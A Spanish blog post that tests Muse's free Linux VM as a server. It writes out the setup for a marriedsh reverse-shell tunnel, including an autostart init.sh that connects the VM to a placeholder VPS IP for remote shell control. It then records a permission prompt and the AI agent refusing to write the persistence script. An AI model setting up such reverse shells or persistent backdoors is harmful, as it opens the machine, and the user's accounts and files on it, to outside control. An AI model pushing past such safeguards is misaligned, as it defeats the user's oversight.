Beneficio oculto de Muse: cómo usar la VM Linux gratuita de 2 núcleos como servidor

Muse le asigna a cada cuenta una máquina virtual Linux independiente. Mucha gente me pregunta: ¿se puede usar esta computadora en la nube gratuita como un verdadero servidor en la nube (VPS)? ¿Son confiables los tutoriales de túneles con reverse shell que circulan por internet?

Hice una prueba completa en un dispositivo real con Muse usando herramientas nativas de automatización CDP. Registré todo el proceso: desde el sondeo del hardware y el desbloqueo de permisos de red, hasta la intercepción real de las reverse shells y cómo usarlo como un servidor en la nube legítimo para ejecutar scripts. Con eso armé esta guía práctica y manual para evitar dolores de cabeza.

1. Prueba en dispositivo real: comprobando los 2 núcleos, 8 GB y disco de 100 GB listos para usar

Muchos creen por error que Muse es solo un sandbox temporal para conversar, pero si ejecutas comandos nativos de detección del sistema en la terminal, puedes ver claramente los parámetros físicos reales de esta máquina host.

Escribí los siguientes comandos en la terminal:

1nproc
2free -h
3df -h
4uname -a
5whoami && pwd

Datos reales devueltos por la terminal:

1. Especificaciones de CPU: 2 núcleos (x86_64)
2. Capacidad de memoria: capacidad total de 7.7 GiB, uso base del sistema aprox. 5.3 GiB, memoria disponible aprox. 2.5 GiB
3. Puntos de montaje del disco: la partición raíz tiene asignados 7.5 GiB, mientras que bajo el directorio home del usuario /home/hatch se monta un disco persistente independiente de 100 GiB (/dev/mapper/rv)
4. Sistema operativo: Ubuntu 24.04.5 LTS (Noble Numbat), versión del kernel 7.0.0-generic
5. Permisos de ejecución: se ejecuta como root por defecto en el directorio /home/hatch

Mis pruebas lo confirmaron: cada usuario registrado sí tiene un entorno independiente completo con 2 núcleos / 8 GB / 100 GB en Linux.

2. Cadena de herramientas de desarrollo básica y sondeo de tráfico de red saliente

Para correr tus propias herramientas en segundo plano en esta máquina, necesitas conocer sus herramientas de desarrollo integradas y sus restricciones de red.

Más resultados del sondeo desde mi terminal:

• Herramientas preinstaladas: el sistema trae por defecto git versión 2.43.0 y curl 8.5.0; las herramientas básicas de red y descarga ya están listas.
• Entorno de desarrollo: Rust (rustc) no viene preinstalado. Si necesitas compilar proyectos en Rust, debes instalarlo mediante los scripts oficiales o usar directamente binarios precompilados.
• Estado de la red saliente: al probar curl -Is https://github.com devuelve HTTP 200; el tráfico saliente pasa con normalidad a través del proxy de seguridad interno.
• Directorio persistente tras reinicios: confirmé con el sistema que el directorio /home/hatch/pdata, creado dentro de /home/hatch, conserva los datos después de reiniciar, por lo que es ideal para guardar herramientas binarias personalizadas y datos de trabajo.

3. Demostración educativa: cómo se configura la solución de túnel inverso recomendada

¿Por qué algunos quieren configurar conexiones inversas? Porque Muse se ejecuta en un sandbox de intranet en la nube, y las redes públicas externas no pueden acceder directamente a esta máquina virtual por IP.

Una idea común para hacer túneles es: usar una herramienta de proxy inverso (como marriedsh) para que Muse se conecte activamente a un VPS público externo y luego tomar el control de la terminal Shell desde ese VPS.

Los pasos estándar de configuración para esta solución son los siguientes:

1. Preparación del VPS público externo

Compila y despliega el lado del servidor en un VPS independiente con IP pública:

1# 1. Clonar y compilar marriedsh
2git clone https://github.com/swigger/marriedsh.git
3cd marriedsh && cargo build --release
4sudo cp target/release/marriedsh /usr/local/bin/
5
6# 2. Configurar la autenticación del servidor ~/.config/marriedsh/config.toml
7mkdir -p ~/.config/marriedsh
8cat << 'EOF' > ~/.config/marriedsh/config.toml
9[server]
10bind = "0.0.0.0:8888"
11password = "your_secure_password"
12credential = "clark"
13EOF

2. Escribir el script de inicio automático del cliente en Muse

Configura el script de inicio automático /home/hatch/init.sh en la terminal de Muse para establecer automáticamente un canal inverso hacia el VPS al arrancar o activar una tarea:

1mkdir -p /home/hatch/pdata/bin
2
3cat << 'EOF' > /home/hatch/init.sh
4#!/bin/bash
5# Demonio inverso en segundo plano de la VM de Muse al iniciar
6/home/hatch/pdata/bin/marriedsh join --lock /run/msh.lock -p your_secure_password --credential clark YOUR_VPS_IP:8888 > /home/hatch/pdata/msh.log 2>&1 &
7EOF
8
9chmod +x /home/hatch/init.sh

3. Tomar el control desde la consola del VPS

Una vez establecida la conexión, ejecuta el comando en el VPS para obtener una Shell remota:

1marriedsh console -n clark

4. Práctica en dispositivo real: ¿por qué forzar una reverse shell activa la intercepción de seguridad?

De hecho, ejecuté los pasos anteriores en la terminal del dispositivo real. Los resultados revelaron dos datos clave:

1. La puerta de aislamiento de comandos individuales de Sentinel

Cuando le pedí a Muse que ejecutara git clone https://github.com/swigger/marriedsh.git, el mecanismo de Sentinel mostró de inmediato una ventana de intercepción:

¿Permitir que Muse comparta información con github.com? [Permitir una vez] [Permitir siempre este sitio] [Denegar]

Las pruebas lo confirmaron: antes de que el usuario haga clic explícitamente en Permitir, cualquier operación que intente comunicarse con dominios externos desconocidos será suspendida por el sistema.

2. Mecanismo automático de control de riesgo semántico y rechazo de reverse shells

Después de aprobar los permisos y clonar con éxito el código en /home/hatch/workspace/marriedsh, cuando el sistema se preparaba para escribir el script de persistencia de inicio automático, el modelo de alineación subyacente de Muse realizó activamente una intercepción de seguridad y emitió un mensaje de rechazo muy claro:

"Esta vez no lo voy a ejecutar. Aclaro dos puntos: primero, lo que se aprobó hace un momento fue únicamente el comando git clone, no escribir un script de inicio automático; esa aprobación no se transfiere a otros pasos. Segundo, marriedsh es una reverse shell: una vez instalada y configurada para iniciarse automáticamente, un servidor externo podría ejecutar comandos arbitrarios en esta VM. Y esta máquina tiene acceso a tus archivos de memoria, cuentas conectadas y sesiones del navegador. Como la IP de destino y la contraseña son marcadores de posición, no lo voy a compilar ni a ejecutar."

Mis pruebas lo demuestran: forzar una reverse shell es un callejón sin salida. No solo será interceptada por el modelo de seguridad, sino que también activará bloqueos por control de riesgo debido a conexiones externas anómalas a largo plazo.

5. La verdadera lección central: ¿cómo usar esta máquina como un VPS legítimo sin túneles?

Muchos limitan su forma de pensar a "tienes que conectarte con un cliente SSH para poder llamarlo servidor".

Según mis pruebas, la forma correcta de usar esta máquina virtual como un VPS es convertirla en un "centro de procesamiento de datos y ejecución automatizada para todo clima":

1. Trata el cuadro de chat como una súper terminal:

No necesitas abrir una terminal aparte de caja negra. Puedes dar comandos directamente en la conversación, y el sistema llamará a Python para ejecutar scripts, procesar datos y hacer conversiones en segundo plano como root.

1. Crea una unidad en la nube permanente usando `/home/hatch/pdata`:

Guarda todo tu código, scripts de Python y resultados de limpieza en el directorio pdata. Mis pruebas confirmaron que los archivos en este disco de 100 GB permanecen intactos aunque inicies sesión desde otro dispositivo o reinicies.

1. Logra un demonio activo 24 horas sin parar usando tareas programadas:

Resuelve el dolor de cabeza de "se apaga al cerrar la página web": mediante los planes de tareas programadas soportados oficialmente, haz que se active automáticamente a horas fijas todos los días, ejecute procesos por lotes en segundo plano y escriba registros de auditoría (audit.log).

1. Genera paneles visuales usando Artifacts:

Un VPS normal solo te muestra logs después de correr scripts, pero Muse puede procesar datos directamente y convertirlos en paneles front-end interactivos tipo Web App.

6. Resumen y reglas de oro para evitar problemas

1. El bono de hardware es real: mis pruebas descubrieron que Meta efectivamente le da a cada usuario un entorno independiente de 2 núcleos / 8 GB / 100 GB SSD; la base de cómputo es muy sólida.
2. Olvida las reverse shells: no caigas en la trampa de los proxies inversos; no funcionan y fácilmente activan bloqueos por control de riesgo.
3. Cumplir las normas es ser productivo: aprovecha bien el almacenamiento persistente de /home/hatch/pdata y la programación de tareas para correr tu propio pipeline de procesamiento de datos 24/7 a costo cero.

Las grandes empresas siguen siendo grandes empresas. Aunque es poco probable que lo uses como un VPS tradicional, todavía hay muchísimas otras formas de sacarle provecho... En el próximo episodio probaremos: directorios persistentes sin configuración, escritura de scripts de limpieza de datos en Python...